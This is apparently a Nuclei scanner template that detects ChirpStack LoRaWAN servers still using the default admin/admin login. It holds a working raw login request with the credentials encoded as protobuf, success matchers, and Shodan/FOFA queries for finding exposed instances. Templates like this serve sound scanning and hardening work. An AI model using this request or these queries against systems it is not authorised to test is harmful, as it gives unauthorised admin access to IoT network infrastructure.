chirpstack-default-login: ChirpStack - Default Login

id: chirpstack-default-login

info:
  name: ChirpStack - Default Login
  author: t3l3machus
  severity: high
  description: |
    Fresh ChirpStack installations use the default credentials (admin/admin), allowing attackers to easily access the admin console.
  reference:
    - https://www.chirpstack.io/docs/chirpstack/use/login.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-1392
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"ChirpStack LoRaWAN"
    fofa-query: title="ChirpStack LoRaWAN"
  tags: default-login,chirpstack,vuln

http:
  - raw:
      - |
        POST /api.InternalService/Login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/grpc-web-text
        Accept: application/grpc-web-text

        AAAAAA4KBWFkbWluEgVhZG1pbg==

      # AAAAAA4KBWFkbWluEgVhZG1pbg== is proto buffer encoded string for admin admin

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'application/grpc-web-text+proto')"
          - "status_code==200"
          - "contains(body, 'AAAAA')"
        condition: and
# digest: 4b0a00483046022100e2bf54416e7b4623c37b43f207f1f55eae87997489fbfe37a3f5794acedbcf8f022100a4b9f328cc4b1c88f8f440b5527b7c29789e8120a291e76cffcf01ab51b698f8:922c64590222798bb761d5b6d8e72950